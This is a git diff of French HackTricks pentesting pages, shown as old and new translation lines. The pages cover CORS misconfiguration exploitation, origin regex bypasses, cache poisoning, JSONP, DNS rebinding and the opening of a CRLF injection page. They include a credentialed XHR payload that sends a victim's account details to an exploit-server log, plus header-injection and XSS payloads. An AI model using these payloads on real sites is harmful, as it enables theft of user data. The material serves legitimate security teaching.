req.onload = reqListener;
|
||||
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
function reqListener() {
|
||||
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
function reqListener() {
|
||||
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
</script>"></iframe>
|
||||
```
|
||||
### **Bypasses Regexp**
|
||||
### **Contournements Regexp**
|
||||
|
||||
Si vous avez trouvé que le domaine _victim.com_ est **whitelisted**, vous devriez vérifier si _victim.com.**attacker.com**_ est également **whitelisted**, ou, dans le cas où vous pouvez **prendre le contrôle de certains sous-domaines**, vérifiez si _**somesubdomain**.victim.com_ est whitelisted.
|
||||
Si vous avez trouvé que le domaine _victim.com_ est **autorisé**, vous devriez vérifier si _victim.com.**attacker.com**_ est **également autorisé**, ou, dans le cas où vous pouvez **prendre le contrôle d'un sous-domaine**, vérifier si _**somesubdomain**.victim.com_ est autorisé.
|
||||
|
||||
### **Bypasses Regexp avancés**
|
||||
### **Contournements Regexp avancés**
|
||||
|
||||
La plupart des regex utilisées pour identifier le domaine à l'intérieur de la chaîne se concentreront sur les caractères alphanumériques ASCII et `.-`. Ensuite, quelque chose comme `victimdomain.com{.attacker.com` à l'intérieur de l'en-tête Origin sera interprété par la regexp comme si le domaine était `victimdomain.com`, mais le navigateur (dans ce cas Safari prend en charge ce caractère dans le domaine) accédera au domaine `attacker.com`.
|
||||
La plupart des regex utilisées pour identifier le domaine à l'intérieur de la chaîne se concentrent sur les caractères ASCII alphanumériques et `.-`. Ainsi, quelque chose comme `victimdomain.com{.attacker.com` dans l'en-tête Origin sera interprété par la regexp comme si le domaine était `victimdomain.com` mais le navigateur (dans ce cas Safari supporte ce caractère dans le domaine) accédera au domaine `attacker.com`.
|
||||
|
||||
Le caractère `_` (dans les sous-domaines) est non seulement pris en charge dans Safari, mais également dans Chrome et Firefox!
|
||||
Le caractère `_` (dans les sous-domaines) est non seulement pris en charge dans Safari, mais aussi dans Chrome et Firefox !
|
||||
|
||||
**Ensuite, en utilisant l'un de ces sous-domaines, vous pourriez contourner certaines regex "communes" pour trouver le domaine principal d'une URL.**
|
||||
**En utilisant l'un de ces sous-domaines, vous pourriez contourner certaines regex "communes" pour trouver le domaine principal d'une URL.**
|
||||
|
||||
**Pour plus d'informations et de paramètres sur ce contournement, consultez:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **et** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
**Pour plus d'informations et de paramètres sur ce contournement, consultez :** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **et** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
![](<../.gitbook/assets/image (153).png>)
|
||||
|
||||
### Depuis XSS à l'intérieur d'un sous-domaine
|
||||
### Depuis un XSS à l'intérieur d'un sous-domaine
|
||||
|
||||
Un mécanisme de défense que les développeurs utilisent contre l'exploitation de CORS est de mettre en liste blanche les domaines qui demandent fréquemment l'accès aux informations. Cependant, ce n'est pas entièrement sécurisé, car si même **un** des sous-domaines du domaine **whitelisted** est **vulnérable** à d'autres exploits tels que **XSS**, cela peut permettre l'exploitation de CORS.
|
||||
Un mécanisme de défense que les développeurs utilisent contre l'exploitation CORS consiste à autoriser les domaines qui demandent fréquemment l'accès aux informations. Cependant, cela n'est pas entièrement sécurisé, car si **un seul** des sous-domaines du domaine **autorisé** est **vulnérable** à d'autres exploits tels que **XSS**, cela peut permettre l'exploitation CORS.
|
||||
|
||||
Prenons un exemple, le code suivant montre la configuration qui permet aux sous-domaines de _requester.com_ d'accéder aux ressources de _provider.com_.
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com')
|
||||
{
|
||||
//Access data
|
||||
else{ // unauthorized access}
|
||||
{
|
||||
//Access data
|
||||
else{ // unauthorized access}
|
||||
}
|
||||
```
|
||||
En supposant qu'un utilisateur ait accès à sub.requester.com mais pas à requester.com, et en supposant que `sub.requester.com` est vulnérable à XSS. L'utilisateur peut exploiter `provider.com` en utilisant la méthode d'attaque par script intersite.
|
||||
|
||||
### **Empoisonnement du cache côté serveur**
|
||||
|
||||
Si les étoiles sont alignées, nous pourrions utiliser l'empoisonnement du cache côté serveur via l'injection d'en-tête HTTP pour créer une vulnérabilité [XSS stockée](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
Si une application **reflète** l'en-tête **Origin** sans même le vérifier pour des caractères illégaux comme `,` nous avons effectivement une vulnérabilité d'injection d'en-tête HTTP contre les utilisateurs IE/Edge car Internet Explorer et Edge considèrent \r (0x0d) comme un terminateur d'en-tête HTTP valide : `GET / HTTP/1.1`\
|
||||
Si une application **réfléchit** l'**en-tête Origin** sans même le vérifier pour des caractères illégaux comme , nous avons effectivement une **vulnérabilité d'injection d'en-tête HTTP contre les utilisateurs d'Internet Explorer et Edge car Internet Explorer et Edge considèrent \r (0x0d) comme un terminateur d'en-tête HTTP valide** : `GET / HTTP/1.1`\
|
||||
`Origin: z[0x0d]Content-Type: text/html; charset=UTF-7`
|
||||
|
||||
Internet Explorer voit la réponse comme :
|
||||
|
@ -242,24 +242,24 @@ Internet Explorer voit la réponse comme :
|
|||
`Access-Control-Allow-Origin: z`\
|
||||
`Content-Type: text/html; charset=UTF-7`
|
||||
|
||||
Ce n'est pas directement exploitable car il n'y a aucun moyen pour un attaquant de faire envoyer un en-tête malformé à un navigateur web, mais je peux **manuellement créer cette requête dans Burp Suite et un cache côté serveur peut enregistrer la réponse et la servir à d'autres personnes**. La charge utile que j'ai utilisée changera l'ensemble de caractères de la page en **UTF-7**, ce qui est notoirement utile pour créer des vulnérabilités XSS.
|
||||
Ceci n'est pas directement exploitable car il n'y a aucun moyen pour un attaquant de faire envoyer un tel en-tête malformé par le navigateur web de quelqu'un, mais je peux **fabriquer manuellement cette requête dans Burp Suite et un cache côté serveur peut enregistrer la réponse et la servir à d'autres personnes**. Le payload que j'ai utilisé changera le jeu de caractères de la page en **UTF-7**, qui est notoirement utile pour créer des vulnérabilités XSS.
|
||||
|
||||
### **Empoisonnement du cache côté client**
|
||||
|
||||
Vous avez peut-être déjà rencontré une page avec un [XSS réfléchi](https://portswigger.net/web-security/cross-site-scripting/reflected) dans un en-tête HTTP personnalisé. Disons qu'une page web reflète le contenu d'un en-tête personnalisé sans l'encoder :
|
||||
Vous avez peut-être occasionnellement rencontré une page avec [XSS reflété](https://portswigger.net/web-security/cross-site-scripting/reflected) dans un en-tête HTTP personnalisé. Disons qu'une page web réfléchit le contenu d'un en-tête personnalisé sans encodage :
|
||||
```http
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
X-User-id: <svg/onload=alert\(1\)>
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: \*
|
||||
Access-Control-Allow-Headers: X-User-id
|
||||
Content-Type: text/html
|
||||
...
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: \*
|
||||
Access-Control-Allow-Headers: X-User-id
|
||||
Content-Type: text/html
|
||||
...
|
||||
Invalid user: <svg/onload=alert\(1\)>\
|
||||
```
|
||||
Avec CORS, nous pouvons envoyer n'importe quelle valeur dans l'en-tête. En soi, cela est inutile car la réponse contenant notre JavaScript injecté ne sera pas rendue. Cependant, si "Vary: Origin" n'a pas été spécifié, la réponse peut être stockée dans le cache du navigateur et affichée directement lorsque le navigateur accède à l'URL associée. J'ai créé un fiddle pour [tenter cette attaque sur une URL de votre choix](https://jsfiddle.net/3gk8u8wu/3/). Étant donné que cette attaque utilise la mise en cache côté client, elle est en fait assez fiable.
|
||||
Avec CORS, nous pouvons envoyer n'importe quelle valeur dans l'en-tête. En soi, **cela est inutile** puisque la réponse contenant notre **JavaScript injecté ne sera pas rendue**. Cependant, **si Vary: Origin n'a pas été spécifié**, la réponse **peut être stockée dans le cache du navigateur et affichée directement lorsque le navigateur navigue vers l'URL associée**. J'ai créé un fiddle pour [tenter cette attaque sur une URL de votre choix](https://jsfiddle.net/3gk8u8wu/3/). Comme cette attaque utilise le cache côté client, elle est en fait assez fiable.
|
||||
```markup
|
||||
<script>
|
||||
function gotcha() { location=url }
|
||||
|
@ -273,36 +273,36 @@ req.send();
|
|||
```
|
||||
## Contournement
|
||||
|
||||
### XSSI (Inclusion de script entre sites) / JSONP
|
||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||
|
||||
XSSI désigne une sorte de vulnérabilité qui exploite le fait que, lorsqu'une ressource est incluse à l'aide de la balise `script`, la SOP ne s'applique pas, car les scripts doivent pouvoir être inclus entre domaines. Un attaquant peut ainsi lire tout ce qui a été inclus à l'aide de la balise `script`.
|
||||
XSSI désigne un type de vulnérabilité qui exploite le fait que, lorsqu'une ressource est incluse en utilisant la balise `script`, la SOP ne s'applique pas, car les scripts doivent pouvoir être inclus de manière trans-domaine. Un attaquant peut donc lire tout ce qui a été inclus en utilisant la balise `script`.
|
||||
|
||||
Cela est particulièrement intéressant en ce qui concerne le JavaScript dynamique ou JSONP, lorsque des informations d'autorité ambiante telles que les cookies sont utilisées pour l'authentification. Les cookies sont inclus lors de la demande d'une ressource à partir d'un hôte différent. Plugin BurpSuite : [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)
|
||||
Cela est particulièrement intéressant dans le cas de JavaScript dynamique ou JSONP lorsque des informations d'autorité ambiante comme les cookies sont utilisées pour l'authentification. Les cookies sont inclus lors de la demande d'une ressource depuis un hôte différent. Plugin BurpSuite : [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)
|
||||
|
||||
[**En savoir plus sur les différents types de XSSI et comment les exploiter ici.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
Essayez d'ajouter un **paramètre de rappel** (**`callback`**) dans la requête. Peut-être que la page était préparée pour envoyer les données sous forme de JSONP. Dans ce cas, la page renverra les données avec `Content-Type: application/javascript`, ce qui contournera la politique CORS.
|
||||
Essayez d'ajouter un **paramètre `callback`** dans la requête. Peut-être que la page a été préparée pour envoyer les données en tant que JSONP. Dans ce cas, la page renverra les données avec `Content-Type: application/javascript` ce qui contournera la politique CORS.
|
||||
|
||||
![](<../.gitbook/assets/image (229).png>)
|
||||
|
||||
### Contournement facile (inutile ?)
|
||||
|
||||
Vous pouvez demander à une application web de faire une demande pour vous et de renvoyer la réponse. Cela contournera le **`Access-Control-Allow-Origin`**, mais notez que les **informations d'identification de la victime finale ne seront pas envoyées** car vous **contacterez un domaine différent** (celui qui fera la demande pour vous).
|
||||
Vous pouvez demander à une application web de faire une requête pour vous et de renvoyer la réponse. Cela contournera le **`Access-Control-Allow-Origin`** mais notez que les **identifiants de la victime finale ne seront pas envoyés** car vous serez **en contact avec un domaine différent** (celui qui fera la requête pour vous).
|
||||
|
||||
[**CORS-escape**](https://github.com/shalvah/cors-escape)
|
||||
|
||||
CORS-escape fournit un **proxy** qui **transmet** notre **requête** ainsi que ses **en-têtes**, et il **falsifie** également l'en-tête **Origin** (Origin = **domaine demandé**). Ainsi, la **politique CORS est contournée**.\
|
||||
CORS-escape fournit un **proxy** qui **transmet** notre **requête** avec ses **en-têtes**, et il **falsifie** également l'en-tête **Origin** (Origin = **domaine demandé**). Ainsi, la **politique CORS est contournée**.\
|
||||
Le code source est [sur Github](https://github.com/shalvah/cors-escape), vous pouvez donc **héberger le vôtre**.
|
||||
```javascript
|
||||
xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
|
||||
```
|
||||
[**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape)
|
||||
|
||||
La mise en place d'un proxy est un peu comme "transmettre" votre demande, exactement comme vous l'avez envoyée. Nous pourrions résoudre cela d'une manière alternative qui implique toujours que quelqu'un d'autre fasse la demande pour vous, mais cette fois, **au lieu de transmettre votre demande, le serveur fait sa propre demande, mais avec les paramètres que vous avez spécifiés.**
|
||||
Le proxy est un peu comme "transmettre" votre requête, exactement telle que vous l'avez envoyée. Nous pourrions résoudre cela d'une manière alternative qui implique toujours que quelqu'un d'autre fasse la requête pour vous, mais cette fois, **au lieu de transmettre votre requête, le serveur fait sa propre requête, mais avec les paramètres que vous avez spécifiés.**
|
||||
|
||||
### Contournement Iframe + Popup
|
||||
### Iframe + Popup Bypass
|
||||
|
||||
Vous pouvez **contourner les vérifications CORS** telles que `e.origin === window.origin` en **créant un iframe** et **en ouvrant une nouvelle fenêtre** à partir de celui-ci. Plus d'informations sur la page suivante :
|
||||
Vous pouvez **contourner les vérifications CORS** telles que `e.origin === window.origin` en **créant un iframe** et **en ouvrant une nouvelle fenêtre à partir de celui-ci**. Plus d'informations sur la page suivante :
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -312,48 +312,48 @@ Vous pouvez **contourner les vérifications CORS** telles que `e.origin === wind
|
|||
|
||||
![](<../.gitbook/assets/image (108).png>)
|
||||
|
||||
Essentiellement, vous faites **accéder la victime à votre page**, puis vous changez le **DNS de votre domaine (l'IP)** et le faites **pointer** vers la **page web de votre victime**. Vous faites exécuter quelque chose à votre **victime** (**JS**) lorsque le **TTL est terminé**, de sorte qu'une nouvelle demande DNS sera effectuée et que vous pourrez alors recueillir les informations (comme vous maintenez toujours **l'utilisateur dans votre domaine**, il n'enverra **aucun cookie** au serveur de la victime, donc cette option **abuse des privilèges spéciaux de l'IP de la victime**).
|
||||
En gros, vous faites en sorte que la **victime accède à votre page**, puis vous changez le **DNS de votre domaine (l'IP)** et vous le faites **pointer** vers la **page web de votre victime**. Vous faites exécuter quelque chose à votre **victime** (**JS**) lorsque le **TTL est terminé** afin qu'une nouvelle requête DNS soit effectuée et que vous puissiez alors recueillir les informations (comme vous maintiendrez toujours **l'utilisateur dans votre domaine**, il n'enverra **aucun cookie** au serveur de la victime, donc cette option **abuse des privilèges spéciaux de l'IP de la victime**).
|
||||
|
||||
Même si vous définissez le **TTL très bas** (0 ou 1), les **navigateurs ont un cache** qui vous **empêchera** d'**abuser** de cela pendant plusieurs secondes/minutes.
|
||||
Même si vous définissez le **TTL très bas** (0 ou 1), les **navigateurs ont un cache** qui vous **empêchera d'abuser** de cela pendant plusieurs secondes/minutes.
|
||||
|
||||
Ainsi, cette technique est utile pour **contourner les vérifications explicites** (la victime **effectue explicitement une demande DNS** pour vérifier l'IP du domaine et lorsque le bot est appelé, il fera le sien).
|
||||
Ainsi, cette technique est utile pour **contourner les vérifications explicites** (la victime effectue **explicitement une requête DNS** pour vérifier l'IP du domaine et lorsque le bot est appelé, il fera sa propre requête).
|
||||
|
||||
Ou lorsque vous pouvez avoir un **utilisateur/bot sur la même page pendant une longue période** (vous pouvez donc **attendre** que le **cache expire**).
|
||||
Ou lorsque vous pouvez avoir un **utilisateur/bot sur la même page pendant longtemps** (afin que vous puissiez **attendre** jusqu'à ce que le **cache expire**).
|
||||
|
||||
Si vous avez besoin de quelque chose de rapide pour abuser de cela, vous pouvez utiliser un service comme [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
|
||||
Si vous voulez exécuter votre propre serveur de rebinding DNS, vous pouvez utiliser quelque chose comme [**DNSrebinder**](https://github.com/mogwailabs/DNSrebinder)**,** puis **exposer** votre **port local 53/udp**, créer un **registre A pointant vers celui-ci** (ns.example.com), et créer un **registre NS** pointant vers le **sous-domaine A précédemment créé** (ns.example.com).\
|
||||
Ensuite, tout sous-domaine de ce sous-domaine (ns.example.com) sera résolu par votre hôte.
|
||||
Si vous souhaitez exécuter votre propre serveur de rebinding DNS, vous pouvez utiliser quelque chose comme [**DNSrebinder**](https://github.com/mogwailabs/DNSrebinder)**,** puis **exposer** votre **port local 53/udp**, créer un **enregistrement A pointant vers celui-ci** (ns.example.com), et créer un **enregistrement NS** pointant vers le **sous-domaine A précédemment créé**(ns.example.com).\
|
||||
Ensuite, tout sous-domaine de ce sous-domaine (ns.example.com), sera résolu par votre hôte.
|
||||
|
||||
Consultez également le **serveur en cours d'exécution publiquement dans** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
Consultez également le **serveur public en cours d'exécution sur** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
|
||||
### DNS Rebinding via **DNS Cache Flooding**
|
||||
### DNS Rebinding via **Inondation du Cache DNS**
|
||||
|
||||
Comme expliqué dans la section précédente, les **navigateurs** ont les adresses IP des domaines **mises en cache plus longtemps** que celle spécifiée dans le TTL. Cependant, il existe un moyen de contourner cette défense.
|
||||
Comme expliqué dans la section précédente, les **navigateurs** conservent les IPs des domaines **en cache plus longtemps** que ce qui est spécifié dans le TTL. Cependant, il existe un moyen de contourner cette défense.
|
||||
|
||||
Vous pouvez avoir un **service worker qui inondera le cache DNS pour forcer une deuxième demande DNS**. Ainsi, le flux sera comme suit :
|
||||
Vous pouvez avoir un service worker qui va **inonder le cache DNS pour forcer une seconde requête DNS**. Le flux sera donc le suivant :
|
||||
|
||||
1. La demande DNS a répondu avec l'adresse de l'attaquant
|
||||
2. Le service worker inonde le cache DNS (le nom de serveur attaquant mis en cache est supprimé)
|
||||
3. Deuxième demande DNS cette fois a répondu avec 127.0.0.1
|
||||
1. La requête DNS répond avec l'adresse de l'attaquant
|
||||
2. Le service worker inonde le cache DNS (le nom du serveur attaquant mis en cache est supprimé)
|
||||
3. Une seconde requête DNS répond cette fois avec 127.0.0.1
|
||||
|
||||
![](<../.gitbook/assets/image (375) (1).png>)
|
||||
|
||||
_Le bleu est la première demande DNS et l'orange est l'inondation._
|
||||
_Le bleu représente la première requête DNS et l'orange représente l'inondation._
|
||||
|
||||
### DNS Rebinding via **Cache**
|
||||
|
||||
Comme expliqué dans la section précédente, les **navigateurs** ont les adresses IP des domaines **mises en cache plus longtemps** que celle spécifiée dans le TTL. Cependant, il existe un autre moyen de contourner cette défense.
|
||||
Comme expliqué dans la section précédente, les **navigateurs** conservent les IPs des domaines **en cache plus longtemps** que ce qui est spécifié dans le TTL. Cependant, il existe une autre façon de contourner cette défense.
|
||||
|
||||
Vous pouvez **créer 2 enregistrements A** (ou **1 avec 2 IPs**, selon le fournisseur) pour le **même sous-domaine** dans le **fournisseur DNS** et lorsque le navigateur les vérifie, il les obtiendra tous les deux.
|
||||
Vous pouvez **créer 2 enregistrements A** (ou **1 avec 2 IPs**, selon le fournisseur) pour le **même sous-domaine** chez le **fournisseur DNS** et lorsque le navigateur les vérifie, il obtiendra les deux.
|
||||
|
||||
Maintenant, si le **navigateur** décide d'**utiliser l'adresse IP de l'attaquant en premier**, l'**attaquant** pourra **servir la charge utile** qui **effectuera des demandes HTTP** vers le même **domaine**. Cependant, maintenant que l'attaquant connaît l'IP de la victime, **il cessera de répondre au navigateur de la victime**.
|
||||
Maintenant, si le **navigateur** décide d'**utiliser d'abord l'adresse IP de l'attaquant**, l'**attaquant** pourra **servir** le **payload** qui **effectuera des requêtes HTTP** vers le même **domaine**. Cependant, maintenant que l'attaquant connaît l'IP de la victime, **il cessera de répondre au navigateur de la victime**.
|
||||
|
||||
Lorsque le navigateur constate que le **domaine ne lui répond pas**, il **utilisera la deuxième IP donnée**, donc il **accédera à un endroit différent en contournant SOP**. L'attaquant peut en profiter pour **obtenir les informations et les exfiltrer**.
|
||||
Lorsque le navigateur constate que le **domaine ne lui répond pas**, il **utilisera la seconde IP donnée**, il **accédera donc à un endroit différent en contournant la SOP**. L'attaquant peut abuser de cela pour **obtenir les informations et les exfiltrer**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que pour accéder à localhost, vous devriez essayer de réassocier **127.0.0.1** dans Windows et **0.0.0.0** dans Linux.\
|
||||
Des fournisseurs tels que Godaddy ou Cloudflare ne m'ont pas permis d'utiliser l'adresse IP 0.0.0.0, mais AWS route53 m'a permis de créer un enregistrement A avec 2 IPs dont l'une était "0.0.0.0"
|
||||
Notez que pour accéder à localhost, vous devriez essayer de relier **127.0.0.1** sur Windows et **0.0.0.0** sur Linux.\
|
||||
Des fournisseurs tels que GoDaddy ou Cloudflare ne m'ont pas permis d'utiliser l'IP 0.0.0.0, mais AWS Route 53 m'a permis de créer un enregistrement A avec 2 IPs, l'une d'elles étant "0.0.0.0"
|
||||
|
||||
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
||||
{% endhint %}
|
||||
|
@ -362,6 +362,62 @@ Des fournisseurs tels que Godaddy ou Cloudflare ne m'ont pas permis d'utiliser l
|
|||
|
||||
Pour plus d'informations, vous pouvez consulter [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||
|
||||
### Autres contournements courants
|
||||
### Autres Contournements Courants
|
||||
|
||||
* Si les **adresses IP internes ne sont pas autorisées**,
|
||||
* Si les **IPs internes ne sont pas autorisées**, ils peuvent **oublier d'interdire 0.0.0.0** (fonctionne sur Linux et Mac)
|
||||
* Si les **IPs internes ne sont pas autorisées**, répondez avec un **CNAME** vers **localhost** (fonctionne sur Linux et Mac)
|
||||
* Si les **IPs internes ne sont pas autorisées** comme réponses DNS, vous pouvez répondre avec des **CNAMEs vers des services internes** tels que www.corporate.internal.
|
||||
|
||||
### DNS Rebidding Armé
|
||||
|
||||
Vous pouvez trouver plus d'informations sur les techniques de contournement précédentes et comment utiliser l'outil suivant dans la conférence [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour relier l'adresse IP du nom de domaine du serveur d'attaque à l'adresse IP de la machine cible et pour servir des payloads d'attaque pour exploiter les logiciels vulnérables sur la machine cible.
|
||||
|
||||
### Protection Réelle contre le DNS Rebinding
|
||||
|
||||
* Utilisez TLS dans les services internes
|
||||
* Demandez une authentification pour accéder aux données
|
||||
* Validez l'en-tête Host
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/) : Proposition d'envoyer toujours une requête préalable lorsque les serveurs publics veulent accéder aux serveurs internes
|
||||
|
||||
## **Outils**
|
||||
|
||||
**Fuzz les configurations erronées possibles dans les politiques CORS**
|
||||
|
||||
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
||||
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
|
||||
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
|
||||
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
|
||||
|
||||
## Références
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/cors" %}
|
||||
|
||||
{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}
|
||||
|
||||
{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}
|
||||
|
||||
{% embed url="https://www.codecademy.com/articles/what-is-cors" %}
|
||||
|
||||
{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}
|
||||
|
||||
{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}
|
||||
|
||||
{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,17 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière dans le hacking** et pirater l'impénétrable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
@ -27,11 +29,11 @@ De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www
|
|||
|
||||
### Qu'est-ce que la vulnérabilité d'injection CRLF ?
|
||||
|
||||
Dans une attaque exploitant une vulnérabilité d'injection CRLF, l'attaquant insère à la fois les caractères de retour chariot et de saut de ligne dans les entrées utilisateur pour tromper le serveur, l'application web ou l'utilisateur en leur faisant croire qu'un objet est terminé et qu'un autre a commencé. Ainsi, les séquences CRLF ne sont pas des caractères malveillants, cependant, elles peuvent être utilisées à des fins malveillantes, pour le fractionnement de réponse HTTP, etc.
|
||||
